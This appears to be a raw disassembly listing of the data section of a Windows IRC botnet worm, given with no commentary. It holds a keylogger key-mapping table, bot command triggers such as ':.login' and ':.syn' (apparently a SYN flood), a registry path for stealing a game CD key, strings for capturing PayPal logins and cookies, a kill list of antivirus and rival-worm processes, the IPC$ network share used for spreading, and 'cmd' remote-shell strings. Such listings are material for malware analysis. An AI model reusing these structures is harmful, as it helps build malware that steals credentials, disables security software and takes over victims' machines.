dd 77B92FBEh, 7FCh, 1, 4334C8h, 77B930EFh, 7FCh, 1, 4334ACh
dd 77B9310Dh, 7FCh, 1, 433490h, 77B9330Ch, 7FCh, 1, 433474h
dd 77B93388h, 7FCh, 1, 433458h, 77B9339Eh, 7FCh, 1, 43343Ch
dd 77B933BAh, 7FCh, 1, 433420h, 77B9373Dh, 7FCh, 1, 433404h
dd 77B9378Ah, 7FCh, 1, 4333F8h, 41414141h, 7FCh, 1, 4333E0h
dd 77E14C29h, 7FCh, 1, 4333C8h, 77E3CB4Ch, 7FCh, 1, 4333B0h
dd 77E42C75h, 7FCh, 1, 433398h, 77E3C256h, 7FCh, 1, 433380h
dd 77E2AFC5h, 7FCh, 1, 433368h, 77E2492Bh, 7FCh, 1, 433350h
dd 77E4FF15h, 7FCh, 1, 433338h, 77E33F4Dh, 7FCh, 1, 8
dd 62h, 62000000h, 2 dup(0)
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 61000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h, 38h, 38000000h, 2 dup(0)
dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 3 dup(0)
dd offset dword_435158
dd offset off_435154
dd offset aFtp ; "FTP"
dd offset aHttp_0 ; "HTTP"
a_login_1 db ':.login',0
dd 4 dup(0)
aLogin_2 db ':,login',0
dd 4 dup(0)
aLogin_3 db ':!login',0
dd 4 dup(0)
a@login db ':@login',0
dd 4 dup(0)
aLogin_4 db ':$login',0
dd 4 dup(0)
aLogin_5 db ':%login',0
dd 4 dup(0)
aLogin_6 db ':^login',0
dd 4 dup(0)
aLogin_7 db ':&login',0
dd 4 dup(0)
aLogin_8 db ':*login',0
dd 4 dup(0)
aLogin_9 db ':-login',0
dd 4 dup(0)
aLogin_10 db ':+login',0
dd 4 dup(0)
aLogin_11 db ':/login',0
dd 4 dup(0)
aLogin_12 db ':\login',0
dd 4 dup(0)
aLogin_13 db ':=login',0
dd 4 dup(0)
a?login db ':?login',0
dd 4 dup(0)
aLogin_14 db ':',27h,'login',0
dd 4 dup(0)
aLogin_15 db ':`login',0
dd 4 dup(0)
aLogin_16 db ':~login',0
dd 4 dup(0)
aLogin_17 db ': login',0
dd 4 dup(0)
a_auth db ':.auth',0
align 4
dd 4 dup(0)
aAuth db ':,auth',0
align 10h
dd 4 dup(0)
aAuth_0 db ':!auth',0
align 4
dd 4 dup(0)
a@auth db ':@auth',0
align 10h
dd 4 dup(0)
aAuth_1 db ':$auth',0
align 4
dd 4 dup(0)
aAuth_2 db ':%auth',0
align 10h
dd 4 dup(0)
aAuth_3 db ':^auth',0
align 4
dd 4 dup(0)
aAuth_4 db ':&auth',0
align 10h
dd 4 dup(0)
aAuth_5 db ':*auth',0
align 4
dd 4 dup(0)
aAuth_6 db ':-auth',0
align 10h
dd 4 dup(0)
aAuth_7 db ':+auth',0
align 4
dd 4 dup(0)
aAuth_8 db ':/auth',0
align 10h
dd 4 dup(0)
aAuth_9 db ':\auth',0
align 4
dd 4 dup(0)
aAuth_10 db ':=auth',0
align 10h
dd 4 dup(0)
a?auth db ':?auth',0
align 4
dd 4 dup(0)
aAuth_11 db ':',27h,'auth',0
align 10h
dd 4 dup(0)
aAuth_12 db ':`auth',0
align 4
dd 4 dup(0)
aAuth_13 db ':~auth',0
align 10h
dd 4 dup(0)
aAuth_14 db ': auth',0
align 4
dd 4 dup(0)
a_id db ':.id',0
align 10h
dd 4 dup(0)
aId_0 db ':,id',0
align 4
dd 4 dup(0)
aId_1 db ':!id',0
align 10h
dd 4 dup(0)
a@id db ':@id',0
align 4
dd 4 dup(0)
aId_2 db ':$id',0
align 10h
dd 4 dup(0)
aId_3 db ':%id',0
align 4
dd 4 dup(0)
aId_4 db ':^id',0
align 10h
dd 4 dup(0)
aId_5 db ':&id',0
align 4
dd 4 dup(0)
aId_6 db ':*id',0
align 10h
dd 4 dup(0)
aId_7 db ':-id',0
align 4
dd 4 dup(0)
aId_8 db ':+id',0
align 10h
dd 4 dup(0)
aId_9 db ':/id',0
align 4
dd 4 dup(0)
aId_10 db ':\id',0
align 10h
dd 4 dup(0)
aId_11 db ':=id',0
align 4
dd 4 dup(0)
a?id db ':?id',0
align 10h
dd 4 dup(0)
aId_12 db ':',27h,'id',0
align 4
dd 4 dup(0)
aId_13 db ':`id',0
align 10h
dd 4 dup(0)
aId_14 db ':~id',0
align 4
dd 4 dup(0)
aId_15 db ': id',0
align 10h
dd 4 dup(0)
a_hashin_0 db ':.hashin',0
align 4
dd 3 dup(0)
aHashin_0 db ':!hashin',0
align 10h
aHashin_1 db ':$hashin',0
align 4
dd 3 dup(0)
aHashin_2 db ':%hashin',0
align 10h
a_secure db ':.secure',0
align 4
dd 3 dup(0)
aSecure_1 db ':!secure',0
align 10h
a_l db ':.l',0
dd 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
a_syn db ':.syn',0
align 4
dd 4 dup(0)
aSyn_0 db ':!syn',0
align 10h
dd 4 dup(0)
aSyn_1 db ':$syn',0
align 4
dd 4 dup(0)
aSyn_2 db ':%syn',0
align 10h
dd 4 dup(0)
aCdkey_0 db ' CDKey ',0
dd 4 dup(0)
aJoin_1 db 'JOIN #',0
align 10h
dd 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
dd 80000001h
off_442AA4 dd offset aSoftwareValveC ; DATA XREF: sub_4185EA+Cr
; sub_4185EA+21o
; "Software\\Valve\\CounterStrike\\Settings"
dd offset aCdkey ; "CDKey"
dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_442AB0 dd 2 dup(0) ; DATA XREF: sub_4185EA+26o
dd 80000001h, 4369A8h, 43699Ch, 43698Ch, 2 dup(0)
dd 80000001h, 43696Ch, 436968h, 436954h, 2 dup(0)
dd 80000001h, 436930h, 436968h, 436924h, 2 dup(0)
dd 80000001h, 436900h, 4368F8h, 4368E4h, 2 dup(0)
dd 80000001h, 4368D0h, 4368C0h, 4368A4h, 2 dup(0)
dd 80000001h, 436860h, 4369E8h, 43684Ch, 2 dup(0)
dd 80000002h, 436820h, 436814h, 4367F4h, 2 dup(0)
dd 80000002h, 4367C0h, 4369E8h, 4367A8h, 2 dup(0)
dd 80000002h, 436774h, 4369E8h, 43675Ch, 2 dup(0)
dd 80000002h, 436744h, 4369E8h, 43672Ch, 2 dup(0)
dd 80000002h, 4366F0h, 42B633h, 4366E0h, 2 dup(0)
dd 80000002h, 4366A8h, 42B633h, 436694h, 2 dup(0)
dd 80000002h, 436648h, 42B633h, 436628h, 2 dup(0)
dd 80000002h, 4365D8h, 42B633h, 4365A8h, 2 dup(0)
dd 80000002h, 43656Ch, 42B633h, 436558h, 2 dup(0)
dd 80000002h, 436520h, 42B633h, 436510h, 2 dup(0)
dd 80000002h, 4364C0h, 42B633h, 436490h, 2 dup(0)
dd 80000002h, 436450h, 42B633h, 436430h, 2 dup(0)
dd 80000002h, 436400h, 42B633h, 4363E0h, 2 dup(0)
dd 80000002h, 4363A4h, 42B633h, 436390h, 2 dup(0)
dd 80000002h, 436348h, 42B633h, 436324h, 2 dup(0)
dd 80000002h, 4362D0h, 42B633h, 4362A0h, 2 dup(0)
dd 80000002h, 436250h, 42B633h, 436224h, 2 dup(0)
dd 80000002h, 4361E4h, 4361DCh, 4361BCh, 2 dup(0)
dd 80000002h, 436178h, 42B633h, 43615Ch, 2 dup(0)
dd 80000002h, 436110h, 42B633h, 4360ECh, 2 dup(0)
dd 80000002h, 4360B8h, 42B633h, 4360ACh, 2 dup(0)
dd 80000002h, 436078h, 42B633h, 43606Ch, 2 dup(0)
dd 80000002h, 436038h, 42B633h, 43602Ch, 2 dup(0)
dd 80000002h, 435FF8h, 42B633h, 435FECh, 2 dup(0)
dd 80000002h, 435FB0h, 42B633h, 435F9Ch, 2 dup(0)
dd 80000002h, 435F60h, 42B633h, 435F4Ch, 2 dup(0)
dd 80000002h, 435F1Ch, 4369E8h, 435F00h, 2 dup(0)
dd 80000002h, 435EE0h, 435ED8h, 435EB4h, 2 dup(0)
dd 80000002h, 435E98h, 435ED8h, 435E78h, 2 dup(0)
dd 80000002h, 435E58h, 435ED8h, 435E34h, 2 dup(0)
dd 80000002h, 435E1Ch, 435ED8h, 435E18h, 2 dup(0)
dd 80000002h, 435DFCh, 435DECh, 435DE4h, 2 dup(0)
dd 80000002h, 435DB0h, 42F4DCh, 435D98h, 2 dup(0)
dd 80000002h, 435D5Ch, 435D50h, 435D28h, 435D18h, 435D04h
dd 80000002h, 435CE0h, 435CD4h, 435CC0h, 435CB0h, 435CA8h
dd 80000002h, 435CE0h, 435CD4h, 435C7Ch, 435CB0h, 435C74h
dd 80000002h, 435CE0h, 435CD4h, 435C44h, 435CB0h, 435C3Ch
dd 6 dup(0)
off_442ED8 dd offset aQ ; DATA XREF: sub_41A293+5Cr
; "q"
dd offset aW_0 ; "w"
dd offset aE ; "e"
dd offset aR ; "r"
dd offset aT ; "t"
dd offset aY_0 ; "y"
dd offset aU ; "u"
dd offset aI ; "i"
dd offset aP ; "p"
dd offset aA ; "a"
dd offset aS_5 ; "s"
dd offset aD_0 ; "d"
dd offset aF_1 ; "f"
dd offset aG_0 ; "g"
dd offset asc_437920 ; "h"
dd offset aJ ; "j"
dd offset aK ; "k"
dd offset asc_42FA20 ; "l"
dd offset aZ_0 ; "z"
dd offset asc_437918 ; "x"
dd offset aC ; "c"
dd offset aV ; "v"
dd offset aB_0 ; "b"
dd offset aN ; "n"
dd offset aM_0 ; "m"
dd offset aQ_0 ; "Q"
dd offset aW ; "W"
dd offset aE_0 ; "E"
dd offset aR_0 ; "R"
dd offset aT_0 ; "T"
dd offset aY ; "Y"
dd offset aU_0 ; "U"
dd offset aI_0 ; "I"
dd offset aO_0 ; "O"
dd offset aP_0 ; "P"
dd offset aA_0 ; "A"
dd offset aS_10 ; "S"
dd offset aD_2 ; "D"
dd offset aF_0 ; "F"
dd offset aG ; "G"
dd offset asc_4378DC ; "H"
dd offset aJ_0 ; "J"
dd offset aK_0 ; "K"
dd offset asc_4378D0 ; "L"
dd offset aZ ; "Z"
dd offset asc_4378C8 ; "X"
dd offset aC_3 ; "C"
dd offset aV_0 ; "V"
dd offset aB ; "B"
dd offset aN_0 ; "N"
dd offset aM_1 ; "M"
dd offset aSmartmir ; "SMARTMIR"
dd offset aFarooq ; "farooq"
dd offset aMaxxguy ; "maxxguy"
dd offset aBobmarley ; "BOBMARLEY"
dd offset aEmilya ; "emilya"
dd offset aKrizha ; "KRIZHA"
dd offset aCar1nna ; "Car1nna"
dd offset aSwin ; "swin"
dd offset aMale ; "male"
dd offset aKoko ; "koko"
dd offset aFlexster ; "flexster"
dd offset aKen ; "ken"
dd offset aShez ; "Shez"
dd offset aTalika ; "talika"
dd offset aMarcy ; "marcy"
dd offset aCme ; "cme"
dd offset aHeval ; "heval"
dd offset aBunty ; "bunty"
dd offset aJanno ; "janno"
dd offset aRimpy ; "rimpy"
dd offset aNastysha ; "nastysha"
dd offset aLuisa ; "Luisa"
dd offset aTroller ; "troller"
dd offset aManee ; "manee"
dd offset aKermit ; "kermit"
dd offset aPuregold ; "puregold"
dd offset aCoredump ; "CoreDump"
dd offset aImra ; "imra"
dd offset aGirl_0 ; "GirL"
dd offset aCamel ; "CAMEL"
dd offset aReshma ; "reshma"
dd offset aKencing ; "Kencing"
dd offset aThr45h3r5 ; "THR45H3R5"
dd offset aCansuuuu ; "cansuuuu"
dd offset aKaan38dent ; "kaan38dent"
dd offset aErkan27 ; "erkan27"
dd offset aHexaaa ; "hexaaa"
dd offset aBerk19 ; "berk19"
dd offset aObenibisevse ; "OBeNiBiSeVSe"
dd offset aIrmal ; "irmal"
dd offset aMisssunday ; "misssunday"
dd offset aTolga34 ; "Tolga34"
dd offset aJericho ; "JERICHO"
dd offset aMary_0 ; "MARY"
dd offset aAkin ; "AKIN"
dd offset aMelekk ; "melekk"
dd offset aTrend3 ; "trend3"
dd offset aMERVE ; "M-E-R-V-E"
dd offset aTekir ; "tekir"
dd offset aVenedik34 ; "venedik34"
dd offset aSevmekmi ; "sevmekmi"
dd offset aSudenur ; "SUDENUR"
dd offset aArzu ; "ARZU"
dd offset aHaticem ; "haticem"
dd offset aErnesto ; "ERNESTO"
dd offset aAslii ; "aslii"
dd offset aPiramit ; "PIRAMIT"
dd offset aSamyeli21 ; "samyeli21"
dd offset aRetg ; "RETG"
dd offset aBlackpearl ; "blackpearl"
dd offset aPelincik ; "pelincik"
dd offset aAhmet ; "ahmet"
dd offset aTurkyy ; "turkyy"
dd offset aAnk32m ; "ank32m"
dd offset aZack ; "ZACK"
dd offset aIzmir39m ; "Izmir39m"
dd offset aAlbina ; "albina"
dd offset aAyla ; "AYLA-"
dd offset off_43764C
dd offset aAnkh ; "ankh"
dd offset aDonjuanm ; "Donjuanm"
dd offset aBogac ; "bogac"
dd offset aAlpay34m ; "alpay34m"
dd offset aCongueror ; "CoNGuERoR"
dd offset aDenizlim ; "DenizliM"
dd offset aBerk19m ; "Berk19m"
dd offset aDevran ; "devran"
dd offset aArda ; "arda"
dd offset aKeyiflisert ; "keyifliSERT"
dd offset aMurat34M ; "murat34-m"
dd offset aHakan3 ; "hakan3"
dd offset aImirzali ; "IMIRZALI--"
dd offset aRamtha ; "RAMTHA"
dd offset aEmre ; "Emre--"
dd offset aElmaazyok ; "elmaazyok"
dd offset aEsmerkiz ; "Esmerkiz"
dd offset aKebikec ; "kebikec"
dd offset aFlord ; "FLoRD"
dd offset aHoly ; "holy"
dd offset aMahinur ; "MAHINUR"
dd offset aSadikaellesme ; "SaDIkaEllesme"
dd offset aAykut1 ; "aykut1"
dd offset aKashmira ; "Kashmira"
dd offset aSeviseli ; "SeViSeLi"
dd offset aSugarboy ; "SUGARBOY-"
dd offset aUzgun36 ; "uzgun36"
dd offset aKumul ; "kumul"
dd offset aAdalim ; "ADALIM"
dd offset aUmut ; "umut-"
dd offset aAnk32M ; "ANK-32-M"
dd offset aDjspace ; "DJSPACE"
dd offset aAnkar ; "Ankar"
dd offset aFenerlee ; "FeNeRLee"
dd offset aHayran ; "hayran"
dd offset aAngelgirl ; "angelgirl"
dd offset aKapk ; "kapk"
dd offset aAchilles ; "Achilles"
dd offset aTegmen ; "TEGMEN"
dd offset aKotan ; "kotan"
dd offset aSevda ; "sevda"
dd offset off_4374B8
dd offset aAlcatras ; "alcatras"
dd offset aA44m ; "a44m"
dd offset aBirsen ; "birsen"
dd offset aYabanc ; "yabanc"
dd offset aDevre ; "devre"
dd offset aErkan ; "erkan"
dd offset aAnkm ; "ankM"
dd offset aAdem28 ; "Adem28"
dd offset aMaxsilla ; "maxsilla"
dd offset aM41ist ; "M41IST"
dd offset aAdamm33 ; "AdAMM33"
dd offset aFirtina ; "firtina"
dd offset aAta29 ; "Ata29"
dd offset aKoray ; "KORAY"
dd offset aAkden ; "akden"
dd offset aIzmirlm ; "izmirlm"
dd offset aUla ; "ula"
dd offset aNeHaber ; "NE-HABER"
dd offset aPassenger ; "passenger"
dd offset aTropikal ; "tropikal"
dd offset aCool30m ; "cool30m"
dd offset aCem39 ; "cem39"
dd offset aRerpjj ; "RERPJJ"
dd offset aTeoman ; "TEOMAN```"
dd offset aDallas43m ; "DALLAS43M"
dd offset aPrometheus ; "prometheus"
dd offset aMaveRIck ; "MaVe{R}icK"
dd offset aAdamm ; "ADAMM"
dd offset aCumhur29 ; "cumhur29"
dd offset aWantedlove ; "WANTEDLOVE"
off_4431D8 dd offset aSex ; DATA XREF: sub_41A293+41r
; sub_41A293+EBr
; "sex"
dd offset aLez ; "lez"
dd offset aZex ; "zex"
dd offset aTree ; "tree"
dd offset aBad ; "bad"
dd offset aLag ; "lag"
dd offset aTambe ; "|tambe|"
dd offset aWoh ; "|woh|"
dd offset aTot_0 ; "-|tot|"
dd offset aSuck ; "|suck|"
dd offset aLuck ; "|luck|"
dd offset aHub ; "{hub}"
dd offset aSex_0 ; "{sex}"
dd offset aGens ; "{gens|"
dd offset aLuvuF ; "||luvu-f|"
dd offset aWiked ; "|wiked|"
dd offset aSick ; "sick}}"
dd offset aQ8 ; "Q8"
dd offset aQ8A ; "|q8|a"
dd offset aB_0 ; "b"
dd offset aC ; "c"
dd offset aD_0 ; "d"
dd offset aE ; "e"
dd offset aF_1 ; "f"
dd offset aG_0 ; "g"
dd offset asc_437920 ; "h"
dd offset aI ; "i"
dd offset a_ ; "_"
dd offset aJ ; "j"
dd offset aK ; "k"
dd offset asc_42FA20 ; "l"
dd offset aM_0 ; "m"
dd offset aN ; "n"
dd offset aO ; "o"
dd offset aP ; "p"
dd offset aQ ; "q"
dd offset aRs ; "rs"
dd offset aT ; "t"
dd offset aU ; "u"
dd offset aV ; "v"
dd offset aW_0 ; "w"
dd offset asc_437918 ; "x"
dd offset aY_0 ; "y"
dd offset aZ_0 ; "z"
dd offset aHappy ; "happy"
dd offset aRg ; "rg"
dd offset aTy ; "ty"
dd offset aGf ; "gf"
dd offset aRt ; "rt"
dd offset aSdf ; "sdf"
dd offset aUi ; "ui"
dd offset aLuvy ; "luvy"
dd offset aTrimy ; "trimy"
dd offset aTruck ; "truck"
dd offset aMuckc ; "muckc"
dd offset aZ_0 ; "z"
dd offset aG_0 ; "g"
dd offset aS_5 ; "s"
dd offset aQ ; "q"
dd offset off_4372D8
dd offset aBbl ; "|bbl"
dd offset byte_42B633
dd offset byte_42B633
dd offset a___0 ; "_|_"
dd offset byte_42B633
dd offset byte_42B633
dd offset byte_42B633
dd offset byte_42B633
dd offset aF_0 ; "F"
dd offset aM_1 ; "M"
dd offset aLuvu ; "LUVU"
dd offset aSad ; "Sad"
dd offset aF ; "^^^f^"
dd offset aB_0 ; "b"
dd offset byte_42B633
dd offset aSleeping ; "Sleeping"
dd offset byte_42B633
dd offset byte_42B633
dd offset aFuck_0 ; "Fuck"
dd offset aFree ; "Free"
dd offset byte_42B633
dd offset byte_42B633
dd offset asc_4378C8 ; "X"
dd offset byte_42B633
dd offset aBoy ; "BOY"
dd offset aGirl ; "GIRL"
dd offset aGurl ; "gurl"
dd offset aShit ; "shit"
dd offset aAha ; "aha"
dd offset aYeah ; "yeah"
dd offset aMuha ; "muha"
dd offset aMof0 ; "mof0"
dd offset aMofo ; "mofo"
dd offset aTot ; "tot"
dd offset aLol ; "lol"
dd offset aLoloA ; "lolo|a|"
dd offset aSex4free ; "|sex4free|"
dd offset a4us ; "|4us|"
dd offset a4you ; "{4you}"
dd offset dword_4371F0+38h
dd offset dword_4371F0+34h
dd offset dword_4371F0+30h
dword_443370 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_41AA0A+A6o
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4433BC dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_41AA0A+E5o
dword_4433D8 dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0
; DATA XREF: sub_41AA0A+11Ao
dword_4433EC dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_41AA0A+141o
off_443400 dd offset aAdd ; DATA XREF: sub_41BF46+59r
; sub_41BFBE+4Ar ...
; "Add"
off_443404 dd offset aAdded ; DATA XREF: sub_41BF46+2Dr
; sub_41BFBE+7Cr ...
; "Added"
dword_443408 dd 0 ; DATA XREF: sub_41BF46+18r
dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 8
dd offset aList_1 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 10h
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 437B98h, 437B90h, 2, 437B84h, 437B78h, 3, 0
dd 7530h, 0
off_443460 dd offset aRegedit_exe ; DATA XREF: sub_41C444:loc_41C50Cr
; "regedit.exe"
dd offset aMsconfig_exe ; "msconfig.exe"
dd offset aNetstat_exe ; "netstat.exe"
dd offset aMsblast_exe_0 ; "msblast.exe"
dd offset aZapro_exe ; "zapro.exe"
dd offset aNavw32_exe ; "navw32.exe"
dd offset aNavapw32_exe ; "navapw32.exe"
dd offset aZonealarm_exe ; "zonealarm.exe"
dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
dd offset aPandaavengine_ ; "PandaAVEngine.exe"
dd offset aSysinfo_exe ; "sysinfo.exe"
dd offset aMscvb32_exe ; "mscvb32.exe"
dd offset aMsblast_exe ; "MSBLAST.exe"
dd offset aTeekids_exe ; "teekids.exe"
dd offset aPenis32_exe ; "Penis32.exe"
dd offset aBbeagle_exe ; "bbeagle.exe"
dd offset aSysmonxp_exe ; "SysMonXP.exe"
dd offset aWinupd_exe ; "winupd.exe"
dd offset aWinsys_exe ; "winsys.exe"
dd offset aSsate_exe ; "ssate.exe"
dd offset aRate_exe ; "rate.exe"
dd offset aD3dupdate_exe ; "d3dupdate.exe"
dd offset aIrun4_exe ; "irun4.exe"
dd offset aI11r54n4_exe ; "i11r54n4.exe"
off_4434C0 dd offset aIpc ; DATA XREF: seg000:loc_41CD3Er
; seg000:0041CD4Cr ...
; "IPC$"
dword_4434C4 dd 0 ; DATA XREF: seg000:loc_41D02Cr
dd offset dword_438B08+10h
align 10h
dd offset dword_438B08+0Ch
dd offset dword_438B08+8
dd offset dword_438B08+4
dd offset dword_438B08
byte_4434E0 db 63h ; DATA XREF: seg000:0041DF27o
; seg000:0041DF41r ...
db 6Dh, 64h, 0
aExit db 'exit',0 ; DATA XREF: seg000:0041E0A2o
; seg000:0041E0B7r
align 10h
dword_4434F0 dd 6B0Eh ; DATA XREF: sub_41ECD4+4w sub_41ECDEr ...
align 10h
dd offset dword_4E2F20
align 8
dd offset dword_4E2F20
dd 101h, 0FFFFFFFFh, 0
dd 1000h, 0
dword_443520 dd 3 dup(0) ; DATA XREF: sub_40E3B2+17Co
; sub_422124+53o ...
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_443540 dd 3 dup(0) ; DATA XREF: sub_422124+5Bo
; sub_422C6E:loc_422C8Co
dd 2, 0FFFFFFFFh, 8Bh dup(0)
dd 9875h, 9873h
off_443788 dd offset sub_41FE1A ; DATA XREF: sub_41F146r
dd offset byte_41FDE1
dd offset byte_41FDE1
dword_443794 dd 19930520h, 3 dup(0) ; DATA XREF: sub_420341+2o
; sub_42034A+2o
dd offset dword_42555C
align 10h
dword_4437B0 dd 1 ; DATA XREF: sub_40F87A+68r
; sub_41EAB4:loc_41EAC7r ...
byte_4437B4 db 2Eh ; DATA XREF: sub_423327:loc_423747r
; sub_423327+447r ...
align 4
dd 1, 0
off_4437C0 dd offset sub_41F282 ; DATA XREF: sub_420CE8+1Cr
dword_4437C4 dd 2 ; DATA XREF: sub_426069+58r
; sub_4261E0+Er ...
dd 10h
off_4437CC dd offset aNull ; DATA XREF: sub_4222C8:loc_4226C0r
; sub_4222C8+51Cr
; "(null)"
off_4437D0 dd offset aNull_0 ; DATA XREF: sub_4222C8+2D8r
; "(null)"
dword_4437D4 dd 878D59B4h ; DATA XREF: sub_41E7B2+6r
; sub_41FFBA+2Dr ...
off_4437D8 dd offset asc_439660 ; DATA XREF: sub_41EAB4:loc_41EADFr
; sub_41EAB4:loc_41EB74r ...
; " ((((( H"
off_4437DC dd offset word_439862 ; DATA XREF: sub_429DD7+18r
dword_4437E0 dd 1 ; DATA XREF: sub_422C0F:loc_422C1Ar
dword_4437E4 dd 16h ; DATA XREF: sub_422C0F:loc_422C3Er
